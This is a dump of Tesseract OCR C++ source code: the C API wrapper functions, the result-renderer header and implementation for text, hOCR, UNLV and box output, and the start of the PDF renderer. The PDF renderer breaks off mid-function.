TESS_API int TESS_CALL TessBaseAPIRecognize(TessBaseAPI* handle, ETEXT_DESC* monitor)
{
return handle->Recognize(monitor);
}
TESS_API int TESS_CALL TessBaseAPIRecognizeForChopTest(TessBaseAPI* handle, ETEXT_DESC* monitor)
{
return handle->RecognizeForChopTest(monitor);
}
TESS_API BOOL TESS_CALL TessBaseAPIProcessPages(TessBaseAPI* handle, const char* filename, const char* retry_config,
int timeout_millisec, TessResultRenderer* renderer)
{
if (handle->ProcessPages(filename, retry_config, timeout_millisec, renderer))
return TRUE;
else
return FALSE;
}
TESS_API BOOL TESS_CALL TessBaseAPIProcessPage(TessBaseAPI* handle, struct Pix* pix, int page_index, const char* filename,
const char* retry_config, int timeout_millisec, TessResultRenderer* renderer)
{
if (handle->ProcessPage(pix, page_index, filename, retry_config, timeout_millisec, renderer))
return TRUE;
else
return FALSE;
}
TESS_API TessResultIterator* TESS_CALL TessBaseAPIGetIterator(TessBaseAPI* handle)
{
return handle->GetIterator();
}
TESS_API TessMutableIterator* TESS_CALL TessBaseAPIGetMutableIterator(TessBaseAPI* handle)
{
return handle->GetMutableIterator();
}
TESS_API char* TESS_CALL TessBaseAPIGetUTF8Text(TessBaseAPI* handle)
{
return handle->GetUTF8Text();
}
TESS_API char* TESS_CALL TessBaseAPIGetHOCRText(TessBaseAPI* handle, int page_number)
{
return handle->GetHOCRText(page_number);
}
TESS_API char* TESS_CALL TessBaseAPIGetBoxText(TessBaseAPI* handle, int page_number)
{
return handle->GetBoxText(page_number);
}
TESS_API char* TESS_CALL TessBaseAPIGetUNLVText(TessBaseAPI* handle)
{
return handle->GetUNLVText();
}
TESS_API int TESS_CALL TessBaseAPIMeanTextConf(TessBaseAPI* handle)
{
return handle->MeanTextConf();
}
TESS_API int* TESS_CALL TessBaseAPIAllWordConfidences(TessBaseAPI* handle)
{
return handle->AllWordConfidences();
}
TESS_API BOOL TESS_CALL TessBaseAPIAdaptToWordStr(TessBaseAPI* handle, TessPageSegMode mode, const char* wordstr)
{
return handle->AdaptToWordStr(mode, wordstr) ? TRUE : FALSE;
}
TESS_API void TESS_CALL TessBaseAPIClear(TessBaseAPI* handle)
{
handle->Clear();
}
TESS_API void TESS_CALL TessBaseAPIEnd(TessBaseAPI* handle)
{
handle->End();
}
TESS_API int TESS_CALL TessBaseAPIIsValidWord(TessBaseAPI* handle, const char* word)
{
return handle->IsValidWord(word);
}
TESS_API BOOL TESS_CALL TessBaseAPIGetTextDirection(TessBaseAPI* handle, int* out_offset, float* out_slope)
{
return handle->GetTextDirection(out_offset, out_slope) ? TRUE : FALSE;
}
TESS_API void TESS_CALL TessBaseAPISetDictFunc(TessBaseAPI* handle, TessDictFunc f)
{
handle->SetDictFunc(f);
}
TESS_API void TESS_CALL TessBaseAPIClearPersistentCache(TessBaseAPI* handle)
{
handle->ClearPersistentCache();
}
TESS_API void TESS_CALL TessBaseAPISetProbabilityInContextFunc(TessBaseAPI* handle, TessProbabilityInContextFunc f)
{
handle->SetProbabilityInContextFunc(f);
}
TESS_API BOOL TESS_CALL TessBaseAPIDetectOS(TessBaseAPI* handle, OSResults* results)
{
return handle->DetectOS(results) ? TRUE : FALSE;
}
TESS_API void TESS_CALL TessBaseAPIGetFeaturesForBlob(TessBaseAPI* handle, TBLOB* blob, INT_FEATURE_STRUCT* int_features,
int* num_features, int* FeatureOutlineIndex)
{
handle->GetFeaturesForBlob(blob, int_features, num_features, FeatureOutlineIndex);
}
TESS_API ROW* TESS_CALL TessFindRowForBox(BLOCK_LIST* blocks, int left, int top, int right, int bottom)
{
return TessBaseAPI::FindRowForBox(blocks, left, top, right, bottom);
}
TESS_API void TESS_CALL TessBaseAPIRunAdaptiveClassifier(TessBaseAPI* handle, TBLOB* blob, int num_max_matches,
int* unichar_ids, float* ratings, int* num_matches_returned)
{
handle->RunAdaptiveClassifier(blob, num_max_matches, unichar_ids, ratings, num_matches_returned);
}
TESS_API const char* TESS_CALL TessBaseAPIGetUnichar(TessBaseAPI* handle, int unichar_id)
{
return handle->GetUnichar(unichar_id);
}
TESS_API const TessDawg* TESS_CALL TessBaseAPIGetDawg(const TessBaseAPI* handle, int i)
{
return handle->GetDawg(i);
}
TESS_API int TESS_CALL TessBaseAPINumDawgs(const TessBaseAPI* handle)
{
return handle->NumDawgs();
}
TESS_API ROW* TESS_CALL TessMakeTessOCRRow(float baseline, float xheight, float descender, float ascender)
{
return TessBaseAPI::MakeTessOCRRow(baseline, xheight, descender, ascender);
}
TESS_API TBLOB* TESS_CALL TessMakeTBLOB(struct Pix* pix)
{
return TessBaseAPI::MakeTBLOB(pix);
}
TESS_API void TESS_CALL TessNormalizeTBLOB(TBLOB* tblob, ROW* row, BOOL numeric_mode)
{
TessBaseAPI::NormalizeTBLOB(tblob, row, numeric_mode != FALSE);
}
TESS_API TessOcrEngineMode TESS_CALL TessBaseAPIOem(const TessBaseAPI* handle)
{
return handle->oem();
}
TESS_API void TESS_CALL TessBaseAPIInitTruthCallback(TessBaseAPI* handle, TessTruthCallback* cb)
{
handle->InitTruthCallback(cb);
}
TESS_API TessCubeRecoContext* TESS_CALL TessBaseAPIGetCubeRecoContext(const TessBaseAPI* handle)
{
return handle->GetCubeRecoContext();
}
TESS_API void TESS_CALL TessBaseAPISetMinOrientationMargin(TessBaseAPI* handle, double margin)
{
handle->set_min_orientation_margin(margin);
}
TESS_API void TESS_CALL TessBaseGetBlockTextOrientations(TessBaseAPI* handle, int** block_orientation, bool** vertical_writing)
{
handle->GetBlockTextOrientations(block_orientation, vertical_writing);
}
TESS_API BLOCK_LIST* TESS_CALL TessBaseAPIFindLinesCreateBlockList(TessBaseAPI* handle)
{
return handle->FindLinesCreateBlockList();
}
TESS_API void TESS_CALL TessPageIteratorDelete(TessPageIterator* handle)
{
delete handle;
}
TESS_API TessPageIterator* TESS_CALL TessPageIteratorCopy(const TessPageIterator* handle)
{
return new TessPageIterator(*handle);
}
TESS_API void TESS_CALL TessPageIteratorBegin(TessPageIterator* handle)
{
handle->Begin();
}
TESS_API BOOL TESS_CALL TessPageIteratorNext(TessPageIterator* handle, TessPageIteratorLevel level)
{
return handle->Next(level) ? TRUE : FALSE;
}
TESS_API BOOL TESS_CALL TessPageIteratorIsAtBeginningOf(const TessPageIterator* handle, TessPageIteratorLevel level)
{
return handle->IsAtBeginningOf(level) ? TRUE : FALSE;
}
TESS_API BOOL TESS_CALL TessPageIteratorIsAtFinalElement(const TessPageIterator* handle, TessPageIteratorLevel level,
TessPageIteratorLevel element)
{
return handle->IsAtFinalElement(level, element) ? TRUE : FALSE;
}
TESS_API BOOL TESS_CALL TessPageIteratorBoundingBox(const TessPageIterator* handle, TessPageIteratorLevel level,
int* left, int* top, int* right, int* bottom)
{
return handle->BoundingBox(level, left, top, right, bottom) ? TRUE : FALSE;
}
TESS_API TessPolyBlockType TESS_CALL TessPageIteratorBlockType(const TessPageIterator* handle)
{
return handle->BlockType();
}
TESS_API struct Pix* TESS_CALL TessPageIteratorGetBinaryImage(const TessPageIterator* handle, TessPageIteratorLevel level)
{
return handle->GetBinaryImage(level);
}
TESS_API struct Pix* TESS_CALL TessPageIteratorGetImage(const TessPageIterator* handle, TessPageIteratorLevel level, int padding,
struct Pix* original_image, int* left, int* top)
{
return handle->GetImage(level, padding, original_image, left, top);
}
TESS_API BOOL TESS_CALL TessPageIteratorBaseline(const TessPageIterator* handle, TessPageIteratorLevel level,
int* x1, int* y1, int* x2, int* y2)
{
return handle->Baseline(level, x1, y1, x2, y2) ? TRUE : FALSE;
}
TESS_API void TESS_CALL TessPageIteratorOrientation(TessPageIterator* handle, TessOrientation* orientation,
TessWritingDirection* writing_direction, TessTextlineOrder* textline_order,
float* deskew_angle)
{
handle->Orientation(orientation, writing_direction, textline_order, deskew_angle);
}
TESS_API void TESS_CALL TessPageIteratorParagraphInfo(TessPageIterator* handle, TessParagraphJustification* justification,
BOOL *is_list_item, BOOL *is_crown, int *first_line_indent)
{
bool bool_is_list_item, bool_is_crown;
handle->ParagraphInfo(justification, &bool_is_list_item, &bool_is_crown, first_line_indent);
if (is_list_item)
*is_list_item = bool_is_list_item ? TRUE : FALSE;
if (is_crown)
*is_crown = bool_is_crown ? TRUE : FALSE;
}
TESS_API void TESS_CALL TessResultIteratorDelete(TessResultIterator* handle)
{
delete handle;
}
TESS_API TessResultIterator* TESS_CALL TessResultIteratorCopy(const TessResultIterator* handle)
{
return new TessResultIterator(*handle);
}
TESS_API TessPageIterator* TESS_CALL TessResultIteratorGetPageIterator(TessResultIterator* handle)
{
return handle;
}
TESS_API const TessPageIterator* TESS_CALL TessResultIteratorGetPageIteratorConst(const TessResultIterator* handle)
{
return handle;
}
TESS_API TessChoiceIterator* TESS_CALL TessResultIteratorGetChoiceIterator(const TessResultIterator* handle)
{
return new TessChoiceIterator(*handle);
}
TESS_API BOOL TESS_CALL TessResultIteratorNext(TessResultIterator* handle, TessPageIteratorLevel level)
{
return handle->Next(level);
}
TESS_API char* TESS_CALL TessResultIteratorGetUTF8Text(const TessResultIterator* handle, TessPageIteratorLevel level)
{
return handle->GetUTF8Text(level);
}
TESS_API float TESS_CALL TessResultIteratorConfidence(const TessResultIterator* handle, TessPageIteratorLevel level)
{
return handle->Confidence(level);
}
TESS_API const char* TESS_CALL TessResultIteratorWordRecognitionLanguage(const TessResultIterator* handle)
{
return handle->WordRecognitionLanguage();
}
TESS_API const char* TESS_CALL TessResultIteratorWordFontAttributes(const TessResultIterator* handle, BOOL* is_bold, BOOL* is_italic,
BOOL* is_underlined, BOOL* is_monospace, BOOL* is_serif,
BOOL* is_smallcaps, int* pointsize, int* font_id)
{
bool bool_is_bold, bool_is_italic, bool_is_underlined, bool_is_monospace, bool_is_serif, bool_is_smallcaps;
const char* ret = handle->WordFontAttributes(&bool_is_bold, &bool_is_italic, &bool_is_underlined, &bool_is_monospace, &bool_is_serif,
&bool_is_smallcaps, pointsize, font_id);
if (is_bold)
*is_bold = bool_is_bold ? TRUE : FALSE;
if (is_italic)
*is_italic = bool_is_italic ? TRUE : FALSE;
if (is_underlined)
*is_underlined = bool_is_underlined ? TRUE : FALSE;
if (is_monospace)
*is_monospace = bool_is_monospace ? TRUE : FALSE;
if (is_serif)
*is_serif = bool_is_serif ? TRUE : FALSE;
if (is_smallcaps)
*is_smallcaps = bool_is_smallcaps ? TRUE : FALSE;
return ret;
}
TESS_API BOOL TESS_CALL TessResultIteratorWordIsFromDictionary(const TessResultIterator* handle)
{
return handle->WordIsFromDictionary() ? TRUE : FALSE;
}
TESS_API BOOL TESS_CALL TessResultIteratorWordIsNumeric(const TessResultIterator* handle)
{
return handle->WordIsNumeric() ? TRUE : FALSE;
}
TESS_API BOOL TESS_CALL TessResultIteratorSymbolIsSuperscript(const TessResultIterator* handle)
{
return handle->SymbolIsSuperscript() ? TRUE : FALSE;
}
TESS_API BOOL TESS_CALL TessResultIteratorSymbolIsSubscript(const TessResultIterator* handle)
{
return handle->SymbolIsSubscript() ? TRUE : FALSE;
}
TESS_API BOOL TESS_CALL TessResultIteratorSymbolIsDropcap(const TessResultIterator* handle)
{
return handle->SymbolIsDropcap() ? TRUE : FALSE;
}
TESS_API void TESS_CALL TessChoiceIteratorDelete(TessChoiceIterator* handle)
{
delete handle;
}
TESS_API BOOL TESS_CALL TessChoiceIteratorNext(TessChoiceIterator* handle)
{
return handle->Next();
}
TESS_API const char* TESS_CALL TessChoiceIteratorGetUTF8Text(const TessChoiceIterator* handle)
{
return handle->GetUTF8Text();
}
TESS_API float TESS_CALL TessChoiceIteratorConfidence(const TessChoiceIterator* handle)
{
return handle->Confidence();
}
| C++ |
///////////////////////////////////////////////////////////////////////
// File: renderer.h
// Description: Rendering interface to inject into TessBaseAPI
//
// (C) Copyright 2011, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_API_RENDERER_H__
#define TESSERACT_API_RENDERER_H__
// To avoid collision with other typenames include the ABSOLUTE MINIMUM
// complexity of includes here. Use forward declarations wherever possible
// and hide includes of complex types in baseapi.cpp.
#include "genericvector.h"
#include "platform.h"
#include "publictypes.h"
namespace tesseract {
class TessBaseAPI;
/**
* Interface for rendering tesseract results into a document, such as text,
* HOCR or pdf. This class is abstract. Specific classes handle individual
* formats. This interface is then used to inject the renderer class into
* tesseract when processing images.
*
* For simplicity implementing this with tesesract version 3.01,
* the renderer contains document state that is cleared from document
* to document just as the TessBaseAPI is. This way the base API can just
* delegate its rendering functionality to injected renderers, and the
* renderers can manage the associated state needed for the specific formats
* in addition to the heuristics for producing it.
*/
class TESS_API TessResultRenderer {
public:
virtual ~TessResultRenderer();
// Takes ownership of pointer so must be new'd instance.
// Renderers aren't ordered, but appends the sequences of next parameter
// and existing next(). The renderers should be unique across both lists.
void insert(TessResultRenderer* next);
// Returns the next renderer or NULL.
TessResultRenderer* next() { return next_; }
/**
* Starts a new document with the given title.
* This clears the contents of the output data.
*/
bool BeginDocument(const char* title);
/**
* Adds the recognized text from the source image to the current document.
* Invalid if BeginDocument not yet called.
*
* Note that this API is a bit weird but is designed to fit into the
* current TessBaseAPI implementation where the api has lots of state
* information that we might want to add in.
*/
bool AddImage(TessBaseAPI* api);
/**
* Finishes the document and finalizes the output data
* Invalid if BeginDocument not yet called.
*/
bool EndDocument();
const char* file_extension() const { return file_extension_; }
const char* title() const { return title_; }
/**
* Returns the index of the last image given to AddImage
* (i.e. images are incremented whether the image succeeded or not)
*
* This is always defined. It means either the number of the
* current image, the last image ended, or in the completed document
* depending on when in the document lifecycle you are looking at it.
* Will return -1 if a document was never started.
*/
int imagenum() const { return imagenum_; }
protected:
/**
* Called by concrete classes.
*
* outputbase is the name of the output file excluding
* extension. For example, "/path/to/chocolate-chip-cookie-recipe"
*
* extension indicates the file extension to be used for output
* files. For example "pdf" will produce a .pdf file, and "hocr"
* will produce .hocr files.
*/
TessResultRenderer(const char *outputbase,
const char* extension);
// Hook for specialized handling in BeginDocument()
virtual bool BeginDocumentHandler();
// This must be overriden to render the OCR'd results
virtual bool AddImageHandler(TessBaseAPI* api) = 0;
// Hook for specialized handling in EndDocument()
virtual bool EndDocumentHandler();
// Renderers can call this to append '\0' terminated strings into
// the output string returned by GetOutput.
// This method will grow the output buffer if needed.
void AppendString(const char* s);
// Renderers can call this to append binary byte sequences into
// the output string returned by GetOutput. Note that s is not necessarily
// '\0' terminated (and can contain '\0' within it).
// This method will grow the output buffer if needed.
void AppendData(const char* s, int len);
private:
const char* file_extension_; // standard extension for generated output
const char* title_; // title of document being renderered
int imagenum_; // index of last image added
FILE* fout_; // output file pointer
TessResultRenderer* next_; // Can link multiple renderers together
bool happy_; // I get grumpy when the disk fills up, etc.
};
/**
* Renders tesseract output into a plain UTF-8 text string
*/
class TESS_API TessTextRenderer : public TessResultRenderer {
public:
explicit TessTextRenderer(const char *outputbase);
protected:
virtual bool AddImageHandler(TessBaseAPI* api);
};
/**
* Renders tesseract output into an hocr text string
*/
class TESS_API TessHOcrRenderer : public TessResultRenderer {
public:
explicit TessHOcrRenderer(const char *outputbase, bool font_info);
explicit TessHOcrRenderer(const char *outputbase);
protected:
virtual bool BeginDocumentHandler();
virtual bool AddImageHandler(TessBaseAPI* api);
virtual bool EndDocumentHandler();
private:
bool font_info_; // whether to print font information
};
/**
* Renders tesseract output into searchable PDF
*/
class TESS_API TessPDFRenderer : public TessResultRenderer {
public:
// datadir is the location of the TESSDATA. We need it because
// we load a custom PDF font from this location.
TessPDFRenderer(const char *outputbase, const char *datadir);
protected:
virtual bool BeginDocumentHandler();
virtual bool AddImageHandler(TessBaseAPI* api);
virtual bool EndDocumentHandler();
private:
// We don't want to have every image in memory at once,
// so we store some metadata as we go along producing
// PDFs one page at a time. At the end that metadata is
// used to make everything that isn't easily handled in a
// streaming fashion.
long int obj_; // counter for PDF objects
GenericVector<long int> offsets_; // offset of every PDF object in bytes
GenericVector<long int> pages_; // object number for every /Page object
const char *datadir_; // where to find the custom font
// Bookkeeping only. DIY = Do It Yourself.
void AppendPDFObjectDIY(size_t objectsize);
// Bookkeeping + emit data.
void AppendPDFObject(const char *data);
// Create the /Contents object for an entire page.
static char* GetPDFTextObjects(TessBaseAPI* api,
double width, double height);
// Turn an image into a PDF object. Only transcode if we have to.
static bool imageToPDFObj(Pix *pix, char *filename, long int objnum,
char **pdf_object, long int *pdf_object_size);
};
/**
* Renders tesseract output into a plain UTF-8 text string
*/
class TESS_API TessUnlvRenderer : public TessResultRenderer {
public:
explicit TessUnlvRenderer(const char *outputbase);
protected:
virtual bool AddImageHandler(TessBaseAPI* api);
};
/**
* Renders tesseract output into a plain UTF-8 text string
*/
class TESS_API TessBoxTextRenderer : public TessResultRenderer {
public:
explicit TessBoxTextRenderer(const char *outputbase);
protected:
virtual bool AddImageHandler(TessBaseAPI* api);
};
} // namespace tesseract.
#endif // TESSERACT_API_RENDERER_H__
| C++ |
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#include <string.h>
#include "baseapi.h"
#include "genericvector.h"
#include "renderer.h"
namespace tesseract {
/**********************************************************************
* Base Renderer interface implementation
**********************************************************************/
TessResultRenderer::TessResultRenderer(const char *outputbase,
const char* extension)
: file_extension_(extension),
title_(""), imagenum_(-1),
fout_(stdout),
next_(NULL),
happy_(true) {
if (strcmp(outputbase, "-") && strcmp(outputbase, "stdout")) {
STRING outfile = STRING(outputbase) + STRING(".") + STRING(file_extension_);
fout_ = fopen(outfile.string(), "wb");
if (fout_ == NULL) {
happy_ = false;
}
}
}
TessResultRenderer::~TessResultRenderer() {
if (fout_ != stdout)
fclose(fout_);
else
clearerr(fout_);
delete next_;
}
void TessResultRenderer::insert(TessResultRenderer* next) {
if (next == NULL) return;
TessResultRenderer* remainder = next_;
next_ = next;
if (remainder) {
while (next->next_ != NULL) {
next = next->next_;
}
next->next_ = remainder;
}
}
bool TessResultRenderer::BeginDocument(const char* title) {
if (!happy_) return false;
title_ = title;
imagenum_ = -1;
bool ok = BeginDocumentHandler();
if (next_) {
ok = next_->BeginDocument(title) && ok;
}
return ok;
}
bool TessResultRenderer::AddImage(TessBaseAPI* api) {
if (!happy_) return false;
++imagenum_;
bool ok = AddImageHandler(api);
if (next_) {
ok = next_->AddImage(api) && ok;
}
return ok;
}
bool TessResultRenderer::EndDocument() {
if (!happy_) return false;
bool ok = EndDocumentHandler();
if (next_) {
ok = next_->EndDocument() && ok;
}
return ok;
}
void TessResultRenderer::AppendString(const char* s) {
AppendData(s, strlen(s));
}
void TessResultRenderer::AppendData(const char* s, int len) {
int n = fwrite(s, 1, len, fout_);
if (n != len) happy_ = false;
}
bool TessResultRenderer::BeginDocumentHandler() {
return happy_;
}
bool TessResultRenderer::EndDocumentHandler() {
return happy_;
}
/**********************************************************************
* UTF8 Text Renderer interface implementation
**********************************************************************/
TessTextRenderer::TessTextRenderer(const char *outputbase)
: TessResultRenderer(outputbase, "txt") {
}
bool TessTextRenderer::AddImageHandler(TessBaseAPI* api) {
char* utf8 = api->GetUTF8Text();
if (utf8 == NULL) {
return false;
}
AppendString(utf8);
delete[] utf8;
bool pageBreak = false;
api->GetBoolVariable("include_page_breaks", &pageBreak);
const char* pageSeparator = api->GetStringVariable("page_separator");
if(pageBreak) {
AppendString(pageSeparator);
}
return true;
}
/**********************************************************************
* HOcr Text Renderer interface implementation
**********************************************************************/
TessHOcrRenderer::TessHOcrRenderer(const char *outputbase)
: TessResultRenderer(outputbase, "hocr") {
font_info_ = false;
}
TessHOcrRenderer::TessHOcrRenderer(const char *outputbase, bool font_info)
: TessResultRenderer(outputbase, "hocr") {
font_info_ = font_info;
}
bool TessHOcrRenderer::BeginDocumentHandler() {
AppendString(
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n"
" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n"
"<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" "
"lang=\"en\">\n <head>\n <title>\n");
AppendString(title());
AppendString(
"</title>\n"
"<meta http-equiv=\"Content-Type\" content=\"text/html;"
"charset=utf-8\" />\n"
" <meta name='ocr-system' content='tesseract " TESSERACT_VERSION_STR
"' />\n"
" <meta name='ocr-capabilities' content='ocr_page ocr_carea ocr_par"
" ocr_line ocrx_word");
if (font_info_)
AppendString(
" ocrp_lang ocrp_dir ocrp_font ocrp_fsize ocrp_wconf");
AppendString(
"'/>\n"
"</head>\n<body>\n");
return true;
}
bool TessHOcrRenderer::EndDocumentHandler() {
AppendString(" </body>\n</html>\n");
return true;
}
bool TessHOcrRenderer::AddImageHandler(TessBaseAPI* api) {
char* hocr = api->GetHOCRText(imagenum());
if (hocr == NULL) return false;
AppendString(hocr);
delete[] hocr;
return true;
}
/**********************************************************************
* UNLV Text Renderer interface implementation
**********************************************************************/
TessUnlvRenderer::TessUnlvRenderer(const char *outputbase)
: TessResultRenderer(outputbase, "unlv") {
}
bool TessUnlvRenderer::AddImageHandler(TessBaseAPI* api) {
char* unlv = api->GetUNLVText();
if (unlv == NULL) return false;
AppendString(unlv);
delete[] unlv;
return true;
}
/**********************************************************************
* BoxText Renderer interface implementation
**********************************************************************/
TessBoxTextRenderer::TessBoxTextRenderer(const char *outputbase)
: TessResultRenderer(outputbase, "box") {
}
bool TessBoxTextRenderer::AddImageHandler(TessBaseAPI* api) {
char* text = api->GetBoxText(imagenum());
if (text == NULL) return false;
AppendString(text);
delete[] text;
return true;
}
} // namespace tesseract
| C++ |
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#include "baseapi.h"
#include "renderer.h"
#include "math.h"
#include "strngs.h"
#include "cube_utils.h"
#include "allheaders.h"
#ifdef _MSC_VER
#include "mathfix.h"
#endif
namespace tesseract {
// Use for PDF object fragments. Must be large enough
// to hold a colormap with 256 colors in the verbose
// PDF representation.
const int kBasicBufSize = 2048;
// If the font is 10 pts, nominal character width is 5 pts
const int kCharWidth = 2;
/**********************************************************************
* PDF Renderer interface implementation
**********************************************************************/
TessPDFRenderer::TessPDFRenderer(const char* outputbase, const char *datadir)
: TessResultRenderer(outputbase, "pdf") {
obj_ = 0;
datadir_ = datadir;
offsets_.push_back(0);
}
void TessPDFRenderer::AppendPDFObjectDIY(size_t objectsize) {
offsets_.push_back(objectsize + offsets_.back());
obj_++;
}
void TessPDFRenderer::AppendPDFObject(const char *data) {
AppendPDFObjectDIY(strlen(data));
AppendString((const char *)data);
}
// Helper function to prevent us from accidentaly writing
// scientific notation to an HOCR or PDF file. Besides, three
// decimal points are all you really need.
double prec(double x) {
double kPrecision = 1000.0;
double a = round(x * kPrecision) / kPrecision;
if (a == -0)
return 0;
return a;
}
long dist2(int x1, int y1, int x2, int y2) {
return (x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1);
}
// Viewers like evince can get really confused during copy-paste when
// the baseline wanders around. So I've decided to project every word
// onto the (straight) line baseline. All numbers are in the native
// PDF coordinate system, which has the origin in the bottom left and
// the unit is points, which is 1/72 inch. Tesseract reports baselines
// left-to-right no matter what the reading order is. We need the
// word baseline in reading order, so we do that conversion here. Returns
// the word's baseline origin and length.
void GetWordBaseline(int writing_direction, int ppi, int height,
int word_x1, int word_y1, int word_x2, int word_y2,
int line_x1, int line_y1, int line_x2, int line_y2,
double *x0, double *y0, double *length) {
if (writing_direction == WRITING_DIRECTION_RIGHT_TO_LEFT) {
Swap(&word_x1, &word_x2);
Swap(&word_y1, &word_y2);
}
double word_length;
double x, y;
{
int px = word_x1;
int py = word_y1;
double l2 = dist2(line_x1, line_y1, line_x2, line_y2);
if (l2 == 0) {
x = line_x1;
y = line_y1;
} else {
double t = ((px - line_x2) * (line_x2 - line_x1) +
(py - line_y2) * (line_y2 - line_y1)) / l2;
x = line_x2 + t * (line_x2 - line_x1);
y = line_y2 + t * (line_y2 - line_y1);
}
word_length = sqrt(static_cast<double>(dist2(word_x1, word_y1,
word_x2, word_y2)));
word_length = word_length * 72.0 / ppi;
x = x * 72 / ppi;
y = height - (y * 72.0 / ppi);
}
*x0 = x;
*y0 = y;
*length = word_length;
}
// Compute coefficients for an affine matrix describing the rotation
// of the text. If the text is right-to-left such as Arabic or Hebrew,
// we reflect over the Y-axis. This matrix will set the coordinate
// system for placing text in the PDF file.
//
// RTL
// [ x' ] = [ a b ][ x ] = [-1 0 ] [ cos sin ][ x ]
// [ y' ] [ c d ][ y ] [ 0 1 ] [-sin cos ][ y ]
void AffineMatrix(int writing_direction,
int line_x1, int line_y1, int line_x2, int line_y2,
double *a, double *b, double *c, double *d) {
double theta = atan2(static_cast<double>(line_y1 - line_y2),
static_cast<double>(line_x2 - line_x1));
*a = cos(theta);
*b = sin(theta);
*c = -sin(theta);
*d = cos(theta);
switch(writing_direction) {
case WRITING_DIRECTION_RIGHT_TO_LEFT:
*a = -*a;
*b = -*b;
break;
case WRITING_DIRECTION_TOP_TO_BOTTOM:
// TODO(jbreiden) Consider using the vertical PDF writing mode.
break;
default:
break;
}
}
// There are some really stupid PDF viewers in the wild, such as
// 'Preview' which ships with the Mac. They do a better job with text
// selection and highlighting when given perfectly flat baseline
// instead of very slightly tilted. We clip small tilts to appease
// these viewers. I chose this threshold large enough to absorb noise,
// but small enough that lines probably won't cross each other if the
// whole page is tilted at almost exactly the clipping threshold.
void ClipBaseline(int ppi, int x1, int y1, int x2, int y2,
int *line_x1, int *line_y1,
int *line_x2, int *line_y2) {
*line_x1 = x1;
*line_y1 = y1;
*line_x2 = x2;
*line_y2 = y2;
double rise = abs(y2 - y1) * 72 / ppi;
double run = abs(x2 - x1) * 72 / ppi;
if (rise < 2.0 && 2.0 < run)
*line_y1 = *line_y2 = (y1 + y2) / 2;
}
char* TessPDFRenderer::GetPDFTextObjects(TessBaseAPI* api,
double width, double height) {
STRING pdf_str("");
double ppi = api->GetSourceYResolution();
// These initial conditions are all arbitrary and will be overwritten
double old_x = 0.0, old_y = 0.0;
int old_fontsize = 0;
tesseract::WritingDirection old_writing_direction =
WRITING_DIRECTION_LEFT_TO_RIGHT;
bool new_block = true;
int fontsize = 0;
double a = 1;
double b = 0;
double c = 0;
double d = 1;
// TODO(jbreiden) This marries the text and image together.
// Slightly cleaner from an abstraction standpoint if this were to
// live inside a separate text object.
pdf_str += "q ";
pdf_str.add_str_double("", prec(width));
pdf_str += " 0 0 ";
pdf_str.add_str_double("", prec(height));
pdf_str += " 0 0 cm /Im1 Do Q\n";
ResultIterator *res_it = api->GetIterator();
while (!res_it->Empty(RIL_BLOCK)) {
if (res_it->IsAtBeginningOf(RIL_BLOCK)) {
pdf_str += "BT\n3 Tr"; // Begin text object, use invisible ink
old_fontsize = 0; // Every block will declare its fontsize
new_block = true; // Every block will declare its affine matrix
}
int line_x1, line_y1, line_x2, line_y2;
if (res_it->IsAtBeginningOf(RIL_TEXTLINE)) {
int x1, y1, x2, y2;
res_it->Baseline(RIL_TEXTLINE, &x1, &y1, &x2, &y2);
ClipBaseline(ppi, x1, y1, x2, y2, &line_x1, &line_y1, &line_x2, &line_y2);
}
if (res_it->Empty(RIL_WORD)) {
res_it->Next(RIL_WORD);
continue;
}
// Writing direction changes at a per-word granularity
tesseract::WritingDirection writing_direction;
{
tesseract::Orientation orientation;
tesseract::TextlineOrder textline_order;
float deskew_angle;
res_it->Orientation(&orientation, &writing_direction,
&textline_order, &deskew_angle);
if (writing_direction != WRITING_DIRECTION_TOP_TO_BOTTOM) {
switch (res_it->WordDirection()) {
case DIR_LEFT_TO_RIGHT:
writing_direction = WRITING_DIRECTION_LEFT_TO_RIGHT;
break;
case DIR_RIGHT_TO_LEFT:
writing_direction = WRITING_DIRECTION_RIGHT_TO_LEFT;
break;
default:
writing_direction = old_writing_direction;
}
}
}
// Where is word origin and how long is it?
double x, y, word_length;
{
int word_x1, word_y1, word_x2, word_y2;
res_it->Baseline(RIL_WORD, &word_x1, &word_y1, &word_x2, &word_y2);
GetWordBaseline(writing_direction, ppi, height,
word_x1, word_y1, word_x2, word_y2,
line_x1, line_y1, line_x2, line_y2,
&x, &y, &word_length);
}
if (writing_direction != old_writing_direction || new_block) {
AffineMatrix(writing_direction,
line_x1, line_y1, line_x2, line_y2, &a, &b, &c, &d);
pdf_str.add_str_double(" ", prec(a)); // . This affine matrix
pdf_str.add_str_double(" ", prec(b)); // . sets the coordinate
pdf_str.add_str_double(" ", prec(c)); // . system for all
pdf_str.add_str_double(" ", prec(d)); // . text that follows.
pdf_str.add_str_double(" ", prec(x)); // .
pdf_str.add_str_double(" ", prec(y)); // .
pdf_str += (" Tm "); // Place cursor absolutely
new_block = false;
} else {
double dx = x - old_x;
double dy = y - old_y;
pdf_str.add_str_double(" ", prec(dx * a + dy * b));
pdf_str.add_str_double(" ", prec(dx * c + dy * d));
pdf_str += (" Td "); // Relative moveto
}
old_x = x;
old_y = y;
old_writing_direction = writing_direction;
// Adjust font size on a per word granularity. Pay attention to
// fontsize, old_fontsize, and pdf_str. We've found that for
// in Arabic, Tesseract will happily return a fontsize of zero,
// so we make up a default number to protect ourselves.
{
bool bold, italic, underlined, monospace, serif, smallcaps;
int font_id;
res_it->WordFontAttributes(&bold, &italic, &underlined, &monospace,
&serif, &smallcaps, &fontsize, &font_id);
const int kDefaultFontsize = 8;
